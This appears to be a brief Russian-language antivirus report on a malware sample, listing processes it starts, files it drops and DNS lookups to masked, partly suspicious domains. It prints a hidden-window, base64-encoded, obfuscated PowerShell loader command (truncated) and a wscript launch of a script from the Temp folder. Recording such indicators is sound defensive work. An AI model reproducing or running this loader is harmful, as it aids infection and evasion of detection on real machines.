Техническая информация
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Temp\gHgZXjPrT.js"
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1444
- %WINDIR%\temp\ghgzxjprt.js
- %TEMP%\640524.cvr
- DNS ASK mo#####.map.fastly.net
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- DNS ASK cc####7pvhrf.com
- DNS ASK vq####9260u2.top
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtAC... (со скрытым окном)